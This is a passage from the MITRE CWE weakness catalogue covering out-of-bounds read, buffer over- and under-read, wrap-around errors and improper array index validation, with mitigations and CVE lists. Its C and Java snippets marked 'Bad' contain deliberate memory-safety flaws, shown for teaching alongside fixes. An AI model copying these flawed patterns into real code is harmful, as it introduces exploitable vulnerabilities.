CanFollow	B	822	Untrusted Pointer Dereference	1604
CanFollow	B	823	Use of Out-of-range Pointer Offset	1606
CanFollow	B	824	Access of Uninitialized Pointer	1609
CanFollow	B	825	Expired Pointer Dereference	1612

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2272

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Technology :** ICS/OT (Prevalence = Often)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Confidentiality	Bypass Protection Mechanism	
	<i>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</i>	

### Potential Mitigations

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing

input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

### Phase: Architecture and Design

*Strategy = Language Selection*

Use a language that provides appropriate memory abstractions.

### Demonstrative Examples

#### Example 1:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

*Example Language: C*

*(Bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

*Example Language: C*

*(Good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

### Observed Examples

Reference	Description
<b>CVE-2020-11899</b>	Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-11899">https://www.cve.org/CVERecord?id=CVE-2020-11899</a>
<b>CVE-2014-0160</b>	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. <a href="https://www.cve.org/CVERecord?id=CVE-2014-0160">https://www.cve.org/CVERecord?id=CVE-2014-0160</a>
<b>CVE-2018-10887</b>	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) <a href="https://www.cve.org/CVERecord?id=CVE-2018-10887">https://www.cve.org/CVERecord?id=CVE-2018-10887</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://www.cve.org/CVERecord?id=CVE-2009-2523">https://www.cve.org/CVERecord?id=CVE-2009-2523</a>
<b>CVE-2018-16069</b>	Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data <a href="https://www.cve.org/CVERecord?id=CVE-2018-16069">https://www.cve.org/CVERecord?id=CVE-2018-16069</a>
<b>CVE-2004-0112</b>	out-of-bounds read due to improper length check <a href="https://www.cve.org/CVERecord?id=CVE-2004-0112">https://www.cve.org/CVERecord?id=CVE-2004-0112</a>
<b>CVE-2004-0183</b>	packet with large number of specified elements cause out-of-bounds read. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0183">https://www.cve.org/CVERecord?id=CVE-2004-0183</a>
<b>CVE-2004-0221</b>	packet with large number of specified elements cause out-of-bounds read. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0221">https://www.cve.org/CVERecord?id=CVE-2004-0221</a>
<b>CVE-2004-0184</b>	out-of-bounds read, resultant from integer underflow <a href="https://www.cve.org/CVERecord?id=CVE-2004-0184">https://www.cve.org/CVERecord?id=CVE-2004-0184</a>
<b>CVE-2004-1940</b>	large length value causes out-of-bounds read <a href="https://www.cve.org/CVERecord?id=CVE-2004-1940">https://www.cve.org/CVERecord?id=CVE-2004-1940</a>
<b>CVE-2004-0421</b>	malformed image causes out-of-bounds read <a href="https://www.cve.org/CVERecord?id=CVE-2004-0421">https://www.cve.org/CVERecord?id=CVE-2004-0421</a>
<b>CVE-2008-4113</b>	OS kernel trusts userland-supplied length value, allowing reading of sensitive information <a href="https://www.cve.org/CVERecord?id=CVE-2008-4113">https://www.cve.org/CVERecord?id=CVE-2008-4113</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf		1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250
MemberOf		1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251
MemberOf		1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf		1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf		1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

Nature	Type	ID	Name	V	Page
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Out-of-bounds Read
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP8		Faulty Buffer Access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
540	Overread Buffers

### References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < <https://dl.acm.org/citation.cfm?doid=1519144.1519145> >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < [https://media.blackhat.com/bh-us-12/Briefings/Serna/BH\\_US\\_12\\_Serna\\_Leak\\_Era\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-126: Buffer Over-read

**Weakness ID** : 126  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

### Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	125	Out-of-bounds Read	316
ChildOf	<b>B</b>	788	Access of Memory Location After End of Buffer	1555
CanFollow	<b>B</b>	170	Improper Null Termination	411

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Confidentiality	Bypass Protection Mechanism	
	<p><i>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</i></p>	

### Demonstrative Examples

#### Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

*Example Language: C*

*(Bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from



memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Example 2:

The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncpy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

Example Language: C

(Bad)

```
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ...
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the code do not take into account that strncpy() will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the printf() read beyond the expected end of the Filename and Pattern buffers.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

Example Language: C

(Good)

```
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
Filename[255]='\0';
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
Pattern[31]='\0';
```

## Observed Examples

Reference	Description
<b>CVE-2014-0160</b>	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. <a href="https://www.cve.org/CVERecord?id=CVE-2014-0160">https://www.cve.org/CVERecord?id=CVE-2014-0160</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2523">https://www.cve.org/CVERecord?id=CVE-2009-2523</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	2198

## Notes

### Relationship

These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Buffer over-read
Software Fault Patterns	SFP8		Faulty Buffer Access

### References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < <https://dl.acm.org/citation.cfm?doid=1519144.1519145> >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < [https://media.blackhat.com/bh-us-12/Briefings/Serna/BH\\_US\\_12\\_Serna\\_Leak\\_Era\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-127: Buffer Under-read

**Weakness ID** : 127  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

### Extended Description

This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	125	Out-of-bounds Read	316
ChildOf	ⓑ	786	Access of Memory Location Before Start of Buffer	1544

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Confidentiality	Bypass Protection Mechanism	
	<i>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</i>	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198

### Notes

#### Research Gap

Under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Buffer under-read
Software Fault Patterns	SFP8		Faulty Buffer Access

### References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < <https://dl.acm.org/citation.cfm?doid=1519144.1519145> >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < [https://media.blackhat.com/bh-us-12/Briefings/Serna/BH\\_US\\_12\\_Serna\\_Leak\\_Era\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-128: Wrap-around Error

**Weakness ID** : 128

**Structure** : Simple

**Abstraction** : Base

### Description

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
PeerOf	B	190	Integer Overflow or Wraparound	453
CanPrecede	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2103

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Often)

**Language :** C++ (Prevalence = Often)

### Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

#### Phase: Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

### Phase: Implementation

Perform validation on all incremented variables to ensure that they remain within reasonable bounds.

### Demonstrative Examples

#### Example 1:

The following image processing code allocates a table for images.

Example Language: C

(Bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212

### Notes

#### Relationship

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Wrap-around error
CERT C Secure Coding	MEM07-C		Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t
Software Fault Patterns	SFP1		Glitch in computation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-129: Improper Validation of Array Index

**Weakness ID** : 129

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1967
CanPrecede	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede	V	789	Memory Allocation with Excessive Size Value	1558
CanPrecede	B	823	Use of Out-of-range Pointer Offset	1606

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	19

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2271

### Weakness Ordinalities

**Resultant** : The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Not Language-Specific (Prevalence = Undetermined)

### Alternate Terms

**out-of-bounds array index** :

**index-out-of-range** :



**array index underflow :**

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart  <i>Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.</i>	
Integrity	Modify Memory  <i>If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.</i>	
Confidentiality Integrity	Modify Memory Read Memory  <i>Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.</i>	
Integrity Availability Confidentiality	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Read Memory Modify Memory  <i>A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.</i>	

**Detection Methods**

**Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

*Effectiveness = High*

*This is not a perfect solution, since 100% accuracy and coverage are not feasible.*

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

#### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

#### Phase: Operation

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Operation

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

**Phase: Implementation**

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

## Demonstrative Examples

### Example 1:

In the code snippet below, an untrusted integer value is used to reference an object in an array.

*Example Language: Java*

*(Bad)*

```
public String getValue(int index) {
    return array[index];
}
```

If index is outside of the range of the array, this may result in an `ArrayIndexOutOfBoundsException` Exception being raised.

### Example 2:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

*Example Language: Java*

*(Bad)*

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new `Widget` in the first location, causing an exception to be thrown.

### Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

*Example Language: C*

*(Bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value

to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(Good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

#### Example 4:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C

(Bad)

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
...
char buf[BUFFER_SIZE];
int ok;
int num, size;
// read values from socket and added to sizes array
while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
{
// continue read from socket until buf only contains '.'
if (DOTLINE(buf))
break;
else if (sscanf(buf, "%d %d", &num, &size) == 2)
